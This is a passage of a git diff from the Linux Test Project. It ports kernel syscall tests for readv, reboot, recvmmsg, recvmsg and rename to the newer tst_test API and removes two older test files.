-		} else {	/* if even */
-			memset(c_ptr, c2, CHUNK);
-		}
-	}
-	return 0;
-}
-
-long l_seek(int fdesc, long offset, int whence)
+static void verify_readv(unsigned int n)
 {
-	SAFE_LSEEK(cleanup, fdesc, offset, whence);
-	return 0;
+	struct tcase *tc = &tcases[n];
+
+	TST_EXP_FAIL2(readv(*tc->fd, tc->buf, tc->count), tc->exp_error,
+		"readv(%d, %p, %d)", *tc->fd, tc->buf, tc->count);
 }
+
+static void setup(void)
+{
+	SAFE_FILE_PRINTF(TEST_FILE, "test");
+
+	fd_file = SAFE_OPEN(TEST_FILE, O_RDONLY);
+
+	efault_iovec[0].iov_base = tst_get_bad_addr(NULL);
+
+	SAFE_MKDIR(TEST_DIR, MODES);
+	fd_dir = SAFE_OPEN(TEST_DIR, O_RDONLY);
+}
+
+static void cleanup(void)
+{
+	if (fd_file > 0)
+		SAFE_CLOSE(fd_file);
+
+	if (fd_dir > 0)
+		SAFE_CLOSE(fd_dir);
+}
+
+static struct tst_test test = {
+	.tcnt = ARRAY_SIZE(tcases),
+	.needs_tmpdir = 1,
+	.setup = setup,
+	.cleanup = cleanup,
+	.test = verify_readv,
+};
diff --git a/testcases/kernel/syscalls/readv/readv03.c b/testcases/kernel/syscalls/readv/readv03.c
deleted file mode 100644
index 09a2ce4..0000000
--- a/testcases/kernel/syscalls/readv/readv03.c
+++ /dev/null
@@ -1,148 +0,0 @@
-/*
- *
- *   Copyright (C) Bull S.A. 2001
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
-
-/*
- * NAME
- * 	readv03.c
- *
- * DESCRIPTION
- *	Testcase to check the error condition of the readv(2) system call
- *	when fd refers to a directory.
- *
- * CALLS
- * 	readv()
- *
- * ALGORITHM
- *      loop if that option was specified
- *      call readv() when fd refers to a directory.
- *      check the errno value
- *        issue a PASS message if we get EISDIR - errno 21
- *      otherwise, the tests fails
- *        issue a FAIL message
- *      call cleanup
- *
- * USAGE$
- *	readv03
- *
- * HISTORY
- *	05/2002 Ported by Jacky Malcles
- *
- * RESTRICTIONS
- * 	None
- */
-#include <sys/types.h>
-#include <sys/uio.h>
-#include <fcntl.h>
-#include <errno.h>
-#include <string.h>
-#include <sys/stat.h>
-
-#include "test.h"
-#include "safe_macros.h"
-
-#define	K_1	1024
-#define MODES   S_IRWXU
-
-char buf1[K_1];
-
-struct iovec rd_iovec[1] = {
-	{buf1, K_1}
-};
-
-const char *TEST_DIR = "alpha";
-int r_val;
-int fd;
-
-char *TCID = "readv03";
-int TST_TOTAL = 1;
-
-void setup();
-void cleanup();
-
-int main(int ac, char **av)
-{
-	int lc;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	/* The following loop checks looping state if -i option given */
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		/* reset tst_count in case we are looping */
-		tst_count = 0;
-
-		if (readv(fd, rd_iovec, 1) < 0) {
-			if (errno != EISDIR) {
-				tst_resm(TFAIL, "expected errno = EISDIR, "
-					 "got %d", errno);
-			} else {
-				tst_resm(TPASS, "got EISDIR");
-			}
-		} else {
-			tst_resm(TFAIL, "Error: readv returned a positive "
-				 "value");
-		}
-
-	}
-	cleanup();
-	tst_exit();
-
-}
-
-/*
- * setup() - performs all ONE TIME setup for this test.
- */
-void setup(void)
-{
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	/* make a temporary directory and cd to it */
-	tst_tmpdir();
-
-	/*
-	 * create a new directory and open it
-	 */
-
-	if ((r_val = mkdir(TEST_DIR, MODES)) == -1) {
-		tst_brkm(TBROK, cleanup, "%s - mkdir() in main() "
-			 "failed", TCID);
-	}
-
-	if ((fd = open(TEST_DIR, O_RDONLY)) == -1) {
-		tst_brkm(TBROK, cleanup, "open of directory failed");
-	}
-
-}
-
-/*
- * cleanup() - performs all ONE TIME cleanup for this test at
- *	       completion or premature exit.
- */
-void cleanup(void)
-{
-	SAFE_CLOSE(cleanup, fd);
-	tst_rmdir();
-
-}
diff --git a/testcases/kernel/syscalls/reboot/reboot01.c b/testcases/kernel/syscalls/reboot/reboot01.c
index 56eb227..646ddf6 100644
--- a/testcases/kernel/syscalls/reboot/reboot01.c
+++ b/testcases/kernel/syscalls/reboot/reboot01.c
@@ -1,26 +1,17 @@
 // SPDX-License-Identifier: GPL-2.0
 /*
+ * Copyright (c) Linux Test Project, 2006-2021
  * Copyright (c) Wipro Technologies Ltd, 2002.  All Rights Reserved.
- * AUTHOR: Aniruddha Marathe <aniruddha.marathe@wipro.com>
+ * Author: Aniruddha Marathe <aniruddha.marathe@wipro.com>
  */
 
 /*\
  * [Description]
- * This is a Phase I test for the reboot(2) system call.
- * It is intended to provide a limited exposure of the system call.
  *
- * [Algorithm]
- * 1) Two test cases for two flag values
- * 2) Execute system call
- * 3) Check return code, if system call failed (return=-1)
- * 4) Log the errno and Issue a FAIL message
- * 5) Otherwise, Issue a PASS message
+ * Basic test of libc wrapper of reboot(2) system call.
  *
- * [Restrictions]
- * For lib4 and lib5 reboot(2) system call is implemented as
- * int reboot(int magic, int magic2, int flag, void *arg); This test case
- * is written for int reboot(int flag); which is implemented under glibc
- * Therefore this testcase may not work under libc4 and libc5 libraries.
+ * Test LINUX_REBOOT_CMD_CAD_ON, LINUX_REBOOT_CMD_CAD_OFF commands,
+ * which do not perform reboot.
  */
 
 #include <unistd.h>
@@ -28,18 +19,19 @@
 #include <linux/reboot.h>
 #include "tst_test.h"
 
+#define CMD_DESC(x) .cmd = x, .desc = #x
+
 static struct tcase {
-	const char *option_message;
-	int flag;
+	const char *desc;
+	int cmd;
 } tcases[] = {
-	{"LINUX_REBOOT_CMD_CAD_ON", LINUX_REBOOT_CMD_CAD_ON,},
-	{"LINUX_REBOOT_CMD_CAD_OFF", LINUX_REBOOT_CMD_CAD_OFF,},
+	{CMD_DESC(LINUX_REBOOT_CMD_CAD_ON)},
+	{CMD_DESC(LINUX_REBOOT_CMD_CAD_OFF)},
 };
 
 static void run(unsigned int n)
 {
-	TST_EXP_PASS(reboot(tcases[n].flag),
-		"reboot(%s)", tcases[n].option_message);
+	TST_EXP_PASS(reboot(tcases[n].cmd), "reboot(%s)", tcases[n].desc);
 }
 
 static struct tst_test test = {
diff --git a/testcases/kernel/syscalls/reboot/reboot02.c b/testcases/kernel/syscalls/reboot/reboot02.c
index 585a678..671e984 100644
--- a/testcases/kernel/syscalls/reboot/reboot02.c
+++ b/testcases/kernel/syscalls/reboot/reboot02.c
@@ -1,23 +1,14 @@
 // SPDX-License-Identifier: GPL-2.0
 /*
+ * Copyright (c) Linux Test Project, 2009-2021
  * Copyright (c) Wipro Technologies Ltd, 2002.  All Rights Reserved.
- * AUTHOR: Aniruddha Marathe <aniruddha.marathe@wipro.com>
+ * Author: Aniruddha Marathe <aniruddha.marathe@wipro.com>
  */
 
 /*\
  * [Description]
- * This test case checks whether reboot(2) system call returns appropriate
- * error number for invalid flag parameter or invalid user.
- *
- * [Algorithm]
- * Execute system call with invaid flag parameter and then for invalid user
- * check return value and errno.
- *
- * [Restrictions]
- * For lib4 and lib5 reboot(2) system call is implemented as
- * int reboot(int magic, int magic2, int flag, void *arg); This test case
- * is written for int reboot(int flag); which is implemented under glibc
- * Therefore this testcase may not work under libc4 and libc5 libraries
+ * Test whether libc wrapper of reboot(2) system call returns appropriate
+ * error number for invalid cmd parameter or invalid user.
  */
 
 #include <unistd.h>
@@ -26,18 +17,19 @@
 #include <pwd.h>
 #include "tst_test.h"
 
-#define INVALID_PARAMETER 100
+#define INVALID_CMD 100
+#define CMD_DESC(x) .cmd = x, .desc = #x
 
 char nobody_uid[] = "nobody";
 struct passwd *ltpuser;
 
 static struct tcase {
-	int flag;
+	int cmd;
+	const char *desc;
 	int exp_errno;
-	const char *option_message;
 } tcases[] = {
-	{INVALID_PARAMETER, EINVAL, "INVALID_PARAMETER"},
-	{LINUX_REBOOT_CMD_CAD_ON, EPERM, "LINUX_REBOOT_CMD_CAD_ON"},
+	{CMD_DESC(INVALID_CMD), EINVAL},
+	{CMD_DESC(LINUX_REBOOT_CMD_CAD_ON), EPERM},
 };
 
 static void run(unsigned int n)
@@ -45,14 +37,14 @@
 	struct tcase *tc = &tcases[n];
 
 	if (n == 0)
-		TST_EXP_FAIL(reboot(tc->flag),
-			tc->exp_errno, "%s", tc->option_message);
+		TST_EXP_FAIL(reboot(tc->cmd),
+			tc->exp_errno, "%s", tc->desc);
 	else {
 		ltpuser = SAFE_GETPWNAM(nobody_uid);
 		SAFE_SETEUID(ltpuser->pw_uid);
 
-		TST_EXP_FAIL(reboot(tc->flag),
-			tc->exp_errno, "%s", tc->option_message);
+		TST_EXP_FAIL(reboot(tc->cmd),
+			tc->exp_errno, "%s", tc->desc);
 
 		SAFE_SETEUID(0);
 	}
diff --git a/testcases/kernel/syscalls/recvmmsg/recvmmsg01.c b/testcases/kernel/syscalls/recvmmsg/recvmmsg01.c
index 10eaa3d..fb21ea1 100644
--- a/testcases/kernel/syscalls/recvmmsg/recvmmsg01.c
+++ b/testcases/kernel/syscalls/recvmmsg/recvmmsg01.c
@@ -89,7 +89,7 @@
 	else
 		timeout = tst_ts_get(&ts);
 
-	TST_EXP_FAIL(tv->recvmmsg(*tc->fd, *tc->msg_vec, VLEN, 0, timeout),
+	TST_EXP_FAIL2(tv->recvmmsg(*tc->fd, *tc->msg_vec, VLEN, 0, timeout),
 	             tc->exp_errno, "recvmmsg() %s", tc->desc);
 }
 
diff --git a/testcases/kernel/syscalls/recvmsg/recvmsg01.c b/testcases/kernel/syscalls/recvmsg/recvmsg01.c
index 13bcaa4..3ce7ab0 100644
--- a/testcases/kernel/syscalls/recvmsg/recvmsg01.c
+++ b/testcases/kernel/syscalls/recvmsg/recvmsg01.c
@@ -46,6 +46,7 @@
 #include <errno.h>
 #include <fcntl.h>
 
+#include <sys/wait.h>
 #include <sys/types.h>
 #include <sys/socket.h>
 #include <sys/signal.h>
@@ -268,8 +269,10 @@
 
 void cleanup(void)
 {
-	if (pid > 0)
+	if (pid > 0) {
 		(void)kill(pid, SIGKILL);	/* kill server */
+		wait(NULL);
+	}
 	if (tmpsunpath[0] != '\0')
 		(void)unlink(tmpsunpath);
 	tst_rmdir();
diff --git a/testcases/kernel/syscalls/rename/.gitignore b/testcases/kernel/syscalls/rename/.gitignore
index 6c10aea..f95cf7d 100644
--- a/testcases/kernel/syscalls/rename/.gitignore
+++ b/testcases/kernel/syscalls/rename/.gitignore
@@ -1,5 +1,4 @@
 /rename01
-/rename02
 /rename03
 /rename04
 /rename05
diff --git a/testcases/kernel/syscalls/rename/rename01.c b/testcases/kernel/syscalls/rename/rename01.c
index e7de18f..159341d 100644
--- a/testcases/kernel/syscalls/rename/rename01.c
+++ b/testcases/kernel/syscalls/rename/rename01.c
@@ -1,218 +1,83 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * Copyright (c) International Business Machines  Corp., 2001
+ *  07/2001 Ported by Wayne Boyer
+ * Copyright (c) 2022 SUSE LLC Avinesh Kumar <avinesh.kumar@suse.com>
  */
 
-/*
- * NAME
- *	rename01
+/*\
+ * [Description]
  *
- * DESCRIPTION
- *	This test will verify the rename(2) syscall basic functionality.
- *	Verify rename() works when the "new" file or directory does not exist.
- *
- * ALGORITHM
- *	Setup:
- *		Setup signal handling.
- *		Create temporary directory.
- *		Pause for SIGUSR1 if option specified.
- *
- *	Test:
- *		Loop if the proper options are given.
- *              1.  "old" is plain file, new does not exists
- *                  create the "old" file, make sure the "new" file
- *                  dose not exist
- *                  rename the "old" to the "new" file
- *                  verify the "new" file points to the "old" file
- *                  verify the "old" file does not exist
- *
- *              2.  "old" is a directory,"new" does not exists
- *                  create the "old" directory, make sure "new"
- *                  dose not exist
- *                  rename the "old" to the "new"
- *                  verify the "new" points to the "old"
- *                  verify the "old" does not exist
- *	Cleanup:
- *		Print errno log and/or timing stats if options given
- *		Delete the temporary directory created.
- *
- * USAGE
- *	rename01 [-c n] [-f] [-i n] [-I x] [-P x] [-t]
- *	where,  -c n : Run n copies concurrently.
- *		-f   : Turn off functionality Testing.
- *		-i n : Execute test n times.
- *		-I x : Execute test for x seconds.
- *		-P x : Pause for x seconds between iterations.
- *		-t   : Turn on syscall timing.
- *
- * HISTORY
- *	07/2001 Ported by Wayne Boyer
- *
- * RESTRICTIONS
- *	None.
+ * Verify rename() when the newpath file or directory does not exist.
  */
-#include <sys/types.h>
-#include <fcntl.h>
-#include <sys/stat.h>
-#include <unistd.h>
-#include <errno.h>
 
-#include "test.h"
-#include "safe_macros.h"
+#include <stdio.h>
+#include "tst_test.h"
 
-void setup();
-void cleanup();
+#define MNT_POINT "mntpoint"
 
-char *TCID = "rename01";
-int TST_TOTAL = 2;
+static const char *old_file_name = "oldfile";
+static const char *old_dir_name = "olddir";
+static const char *new_file_name = "newfile";
+static const char *new_dir_name = "newdir";
 
-char fname[255], mname[255];
-char fdir[255], mdir[255];
-struct stat buf1;
-dev_t f_olddev, d_olddev;
-ino_t f_oldino, d_oldino;
+static struct stat old_file_st, old_dir_st, new_file_st, new_dir_st;
 
-struct test_case_t {
-	char *name1;
-	char *name2;
-	char *desc;
-	dev_t *olddev;
-	ino_t *oldino;
-} TC[] = {
-	/* comment goes here */
-	{
-	fname, mname, "file", &f_olddev, &f_oldino},
-	    /* comment goes here */
-	{
-	fdir, mdir, "directory", &d_olddev, &d_oldino}
+static inline void swap(const char **a, const char **b)
+{
+	const char *tmp__ = *a;
+	*a = *b;
+	*b = tmp__;
+}
+
+static void setup(void)
+{
+	SAFE_CHDIR(MNT_POINT);
+
+	SAFE_TOUCH(old_file_name, 0700, NULL);
+	SAFE_MKDIR(old_dir_name, 00770);
+
+	SAFE_STAT(old_file_name, &old_file_st);
+	SAFE_STAT(old_dir_name, &old_dir_st);
+}
+
+static void run(void)
+{
+	TST_EXP_PASS(rename(old_file_name, new_file_name),
+						"rename(%s, %s)",
+						old_file_name, new_file_name);
+	TST_EXP_PASS(rename(old_dir_name, new_dir_name),
+						"rename(%s, %s)",
+						old_dir_name, new_dir_name);
+
+	SAFE_STAT(new_file_name, &new_file_st);
+	SAFE_STAT(new_dir_name, &new_dir_st);
+
+	TST_EXP_EQ_LU(old_file_st.st_dev, new_file_st.st_dev);
+	TST_EXP_EQ_LU(old_file_st.st_ino, new_file_st.st_ino);
+
+	TST_EXP_EQ_LU(old_dir_st.st_dev, new_dir_st.st_dev);
+	TST_EXP_EQ_LU(old_dir_st.st_ino, new_dir_st.st_ino);
+
+	TST_EXP_FAIL(stat(old_file_name, &old_file_st),
+				ENOENT,
+				"stat(%s, &old_file_st)",
+				old_file_name);
+	TST_EXP_FAIL(stat(old_dir_name, &old_dir_st),
+				ENOENT,
+				"stat(%s, &old_dir_st)",
+				old_dir_name);
+
+	/* reset between loops */
+	swap(&old_file_name, &new_file_name);
+	swap(&old_dir_name, &new_dir_name);
+}
+
+static struct tst_test test = {
+	.setup = setup,
+	.test_all = run,
+	.needs_root = 1,
+	.mount_device = 1,
+	.mntpoint = MNT_POINT,
+	.all_filesystems = 1
 };
-
-int main(int ac, char **av)
-{
-	int lc;
-	int i;
-
-	/*
-	 * parse standard options
-	 */
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	/*
-	 * perform global setup for test
-	 */
-	setup();
-
-	/*
-	 * check looping state if -i option given
-	 */
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		/* loop through the test cases */
-		for (i = 0; i < TST_TOTAL; i++) {
-
-			TEST(rename(TC[i].name1, TC[i].name2));
-
-			if (TEST_RETURN == -1) {
-				tst_resm(TFAIL, "call failed unexpectedly");
-				continue;
-			}
-
-			SAFE_STAT(cleanup, TC[i].name2, &buf1);
-
-			/*
-			 * verify the new file or directory is the
-			 * same as the old one
-			 */
-			if (buf1.st_dev != *TC[i].olddev ||
-			    buf1.st_ino != *TC[i].oldino) {
-				tst_resm(TFAIL, "rename() failed: the "
-					 "new %s points to a different "
-					 "inode/location", TC[i].desc);
-				continue;
-			}
-			/*
-			 * verify that the old file or directory
-			 * does not exist
-			 */
-			if (stat(fname, &buf1) != -1) {
-				tst_resm(TFAIL, "the old %s still "
-					 "exists", TC[i].desc);
-				continue;
-			}
-
-			tst_resm(TPASS, "functionality is correct "
-				 "for renaming a %s", TC[i].desc);
-		}
-		/* reset things in case we are looping */
-		SAFE_RENAME(cleanup, mname, fname);
-
-		SAFE_RENAME(cleanup, mdir, fdir);
-	}
-
-	cleanup();
-	tst_exit();
-
-}
-
-/*
- * setup() - performs all ONE TIME setup for this test.
- */
-void setup(void)
-{
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	/* Create a temporary directory and make it current. */
-	tst_tmpdir();
-
-	sprintf(fname, "./tfile_%d", getpid());
-	sprintf(mname, "./rnfile_%d", getpid());
-	sprintf(fdir, "./tdir_%d", getpid());
-	sprintf(mdir, "./rndir_%d", getpid());
-
-	SAFE_TOUCH(cleanup, fname, 0700, NULL);
-
-	SAFE_STAT(cleanup, fname, &buf1);
-
-	f_olddev = buf1.st_dev;
-	f_oldino = buf1.st_ino;
-
-	/* create "old" directory */
-	SAFE_MKDIR(cleanup, fdir, 00770);
-
-	SAFE_STAT(cleanup, fdir, &buf1);
-
-	d_olddev = buf1.st_dev;
-	d_oldino = buf1.st_ino;
-}
-
-/*
- * cleanup() - performs all ONE TIME cleanup for this test at
- *             completion or premature exit.
- */
-void cleanup(void)
-{
-
-	/*
-	 * Remove the temporary directory.
-	 */
-	tst_rmdir();
-}
diff --git a/testcases/kernel/syscalls/rename/rename02.c b/testcases/kernel/syscalls/rename/rename02.c
deleted file mode 100644
index 51c278f..0000000
--- a/testcases/kernel/syscalls/rename/rename02.c
+++ /dev/null
@@ -1,192 +0,0 @@
-/*
- * Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * Further, this software is distributed without any warranty that it is
- * free of the rightful claim of any third person regarding infringement
- * or the like.  Any license provided herein, whether implied or
- * otherwise, applies only to this software file.  Patent licenses, if
- * any, provided herein do not apply to combinations of this program with
- * other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
- * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy,
- * Mountain View, CA  94043, or:
- *
- * http://www.sgi.com
- *
- * For further information regarding this notice, see:
- *
- * http://oss.sgi.com/projects/GenInfo/NoticeExplan/
- *
- */
-/* $Id: rename02.c,v 1.8 2009/11/02 13:57:18 subrata_modak Exp $ */
-/**********************************************************
- *
- *    OS Test - Silicon Graphics, Inc.
- *
- *    TEST IDENTIFIER	: rename02
- *
- *    EXECUTED BY	: anyone
- *
- *    TEST TITLE	: Basic test for rename(2)
- *
- *    PARENT DOCUMENT	: usctpl01
- *
- *    TEST CASE TOTAL	: 1
- *
- *    WALL CLOCK TIME	: 1
- *
- *    CPU TYPES		: ALL
- *
- *    AUTHOR		: William Roske
- *
- *    CO-PILOT		: Dave Fenner
- *
- *    DATE STARTED	: 03/30/92
- *
- *    INITIAL RELEASE	: UNICOS 7.0
- *
- *    TEST CASES
- *
- * 	1.) rename(2) returns...(See Description)
- *
- *    INPUT SPECIFICATIONS
- * 	The standard options for system call tests are accepted.
- *	(See the parse_opts(3) man page).
- *
- *    OUTPUT SPECIFICATIONS
- *$
- *    DURATION
- * 	Terminates - with frequency and infinite modes.
- *
- *    SIGNALS
- * 	Uses SIGUSR1 to pause before test if option set.
- * 	(See the parse_opts(3) man page).
- *
- *    RESOURCES
- * 	None
- *
- *    ENVIRONMENTAL NEEDS
- *      No run-time environmental needs.
- *
- *    SPECIAL PROCEDURAL REQUIREMENTS
- * 	None
- *
- *    INTERCASE DEPENDENCIES
- * 	None
- *
- *    DETAILED DESCRIPTION
- *	This is a Phase I test for the rename(2) system call.  It is intended
- *	to provide a limited exposure of the system call, for now.  It
- *	should/will be extended when full functional tests are written for
- *	rename(2).
- *
- * 	Setup:
- * 	  Setup signal handling.
- *	  Pause for SIGUSR1 if option specified.
- *
- * 	Test:
- *	 Loop if the proper options are given.
- * 	  Execute system call
- *	  Check return code, if system call failed (return=-1)
- *		Log the errno and Issue a FAIL message.
- *	  Otherwise, Issue a PASS message.
- *
- * 	Cleanup:
- * 	  Print errno log and/or timing stats if options given
- *
- *
- *#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#**/
-
-#include <sys/types.h>
-#include <fcntl.h>
-#include <errno.h>
-#include <string.h>
-#include <signal.h>
-#include "test.h"
-
-void setup();
-void cleanup();
-
-char *TCID = "rename02";
-int TST_TOTAL = 1;
-
-int fd;
-char fname[255], mname[255];
-
-int main(int ac, char **av)
-{
-	int lc;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		/*
-		 * Call rename(2)
-		 */
-		TEST(rename(fname, mname));
-
-		/* check return code */
-		if (TEST_RETURN == -1) {
-			tst_resm(TFAIL, "rename(%s, %s) Failed, errno=%d : %s",
-				 fname, mname, TEST_ERRNO,
-				 strerror(TEST_ERRNO));
-		} else {
-			tst_resm(TPASS, "rename(%s, %s) returned %ld",
-				 fname, mname, TEST_RETURN);
-			if (unlink(mname) == -1) {
-				tst_resm(TWARN,
-					 "unlink(%s) Failed, errno=%d : %s",
-					 mname, errno, strerror(errno));
-			}
-			SAFE_TOUCH(cleanup, fname, 0700, NULL);
-		}
-	}
-
-	cleanup();
-	tst_exit();
-
-}
-
-/***************************************************************
- * setup() - performs all ONE TIME setup for this test.
- ***************************************************************/
-void setup(void)
-{
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	tst_tmpdir();
-
-	sprintf(fname, "./tfile_%d", getpid());
-	sprintf(mname, "./rnfile_%d", getpid());
-	SAFE_TOUCH(cleanup, fname, 0700, NULL);
-}
-
-/***************************************************************
- * cleanup() - performs all ONE TIME cleanup for this test at
- *		completion or premature exit.
- ***************************************************************/
-void cleanup(void)
-{
-
-	tst_rmdir();
-}
diff --git a/testcases/kernel/syscalls/rename/rename03.c b/testcases/kernel/syscalls/rename/rename03.c
index 396e95c..652fa3b 100644
--- a/testcases/kernel/syscalls/rename/rename03.c
+++ b/testcases/kernel/syscalls/rename/rename03.c
@@ -1,230 +1,73 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * Copyright (c) International Business Machines  Corp., 2001
+ *  07/2001 Ported by Wayne Boyer
+ * Copyright (c) 2022 SUSE LLC Avinesh Kumar <avinesh.kumar@suse.com>
  */
 
-/*
- * NAME
- *	rename03
+/*\
+ * [Description]
  *
- * DESCRIPTION
- *	This test will verify that rename(2) functions correctly
- *	when the "new" file or directory exists
- *
- * ALGORITHM
- *	Setup:
- *		Setup signal handling.
- *		Create temporary directory.
- *		Pause for SIGUSR1 if option specified.
- *
- *	Test:
- *		Loop if the proper options are given.
- *              1.  both old and new file exist
- *                  create the "old" file and the "new" file
- *                  rename the "old" to the "new" file
- *                  verify the "new" file points to the "old" file
- *                  verify the "old" file does not exists
- *              2.  both old file and new directory exist
- *                  create the "old" and the "new" directory
- *                  rename the "old" to the "new" directory
- *                  verify the "new" points to the "old" directory
- *                  verify the "old" does not exists
- *	Cleanup:
- *		Print errno log and/or timing stats if options given
- *		Delete the temporary directory created.
- *
- * USAGE
- *	rename03 [-c n] [-f] [-i n] [-I x] [-p x] [-t]
- *	where,  -c n : Run n copies concurrently.
- *		-f   : Turn off functionality Testing.
- *		-i n : Execute test n times.
- *		-I x : Execute test for x seconds.
- *		-P x : Pause for x seconds between iterations.
- *		-t   : Turn on syscall timing.
- *
- * HISTORY
- *	07/2001 Ported by Wayne Boyer
- *
- * RESTRICTIONS
- *	None.
+ * Verify rename(2) functions correctly when the newpath
+ * file or directory (empty) exists.
  */
-#include <sys/types.h>
-#include <fcntl.h>
+
 #include <sys/stat.h>
-#include <unistd.h>
-#include <errno.h>
+#include <stdio.h>
+#include "tst_test.h"
 
-#include "test.h"
-#include "safe_macros.h"
+#define MNT_POINT "mntpoint"
+#define OLD_FILE_NAME MNT_POINT"/oldfile"
+#define NEW_FILE_NAME MNT_POINT"/newfile"
+#define OLD_DIR_NAME MNT_POINT"/olddir"
+#define NEW_DIR_NAME MNT_POINT"/newdir"
 
-void setup();
-void setup2();
-void cleanup();
+static struct stat old_file_st, old_dir_st, new_file_st, new_dir_st;
 
-char *TCID = "rename03";
-int TST_TOTAL = 2;
+static void run(void)
+{
+	SAFE_TOUCH(OLD_FILE_NAME, 0700, NULL);
+	SAFE_MKDIR(OLD_DIR_NAME, 00770);
+	SAFE_TOUCH(NEW_FILE_NAME, 0700, NULL);
+	SAFE_MKDIR(NEW_DIR_NAME, 00770);
 
-char fname[255], mname[255];
-char fdir[255], mdir[255];
-struct stat buf1, buf2;
-dev_t f_olddev, d_olddev;
-ino_t f_oldino, d_oldino;
+	SAFE_STAT(OLD_FILE_NAME, &old_file_st);
+	SAFE_STAT(OLD_DIR_NAME, &old_dir_st);
 
-struct test_case_t {
-	char *name1;
-	char *name2;
-	char *desc;
-	dev_t *olddev;
-	ino_t *oldino;
-} TC[] = {
-	{
-	fname, mname, "file", &f_olddev, &f_oldino}, {
-	fdir, mdir, "directory", &d_olddev, &d_oldino}
+	TST_EXP_PASS(rename(OLD_FILE_NAME, NEW_FILE_NAME),
+						"rename(%s, %s)",
+						OLD_FILE_NAME, NEW_FILE_NAME);
+	TST_EXP_PASS(rename(OLD_DIR_NAME, NEW_DIR_NAME),
+						"rename(%s, %s)",
+						OLD_DIR_NAME, NEW_DIR_NAME);
+
+	SAFE_STAT(NEW_FILE_NAME, &new_file_st);
+	SAFE_STAT(NEW_DIR_NAME, &new_dir_st);
+
+	TST_EXP_EQ_LU(old_file_st.st_dev, new_file_st.st_dev);
+	TST_EXP_EQ_LU(old_file_st.st_ino, new_file_st.st_ino);
+
+	TST_EXP_EQ_LU(old_dir_st.st_dev, new_dir_st.st_dev);
+	TST_EXP_EQ_LU(old_dir_st.st_ino, new_dir_st.st_ino);
+
+	TST_EXP_FAIL(stat(OLD_FILE_NAME, &old_file_st),
+				ENOENT,
+				"stat(%s, &old_file_st)",
+				OLD_FILE_NAME);
+	TST_EXP_FAIL(stat(OLD_DIR_NAME, &old_dir_st),
+				ENOENT,
+				"stat(%s, &old_dir_st)",
+				OLD_DIR_NAME);
+
+	/* cleanup between loops */
+	SAFE_UNLINK(NEW_FILE_NAME);
+	SAFE_RMDIR(NEW_DIR_NAME);
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.needs_root = 1,
+	.mount_device = 1,
+	.mntpoint = MNT_POINT,
+	.all_filesystems = 1
 };
-
-int main(int ac, char **av)
-{
-	int lc;
-	int i;
-
-	/*
-	 * parse standard options
-	 */
-	tst_parse_opts(ac, av, NULL, NULL);
-	/*
-	 * perform global setup for test
-	 */
-	setup();
-
-	/*
-	 * check looping state if -i option given
-	 */
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		/* set up the files and directories for the tests */
-		setup2();
-
-		/* loop through the test cases */
-		for (i = 0; i < TST_TOTAL; i++) {
-
-			TEST(rename(TC[i].name1, TC[i].name2));
-
-			if (TEST_RETURN == -1) {
-				tst_resm(TFAIL, "call failed unexpectedly");
-				continue;
-			}
-
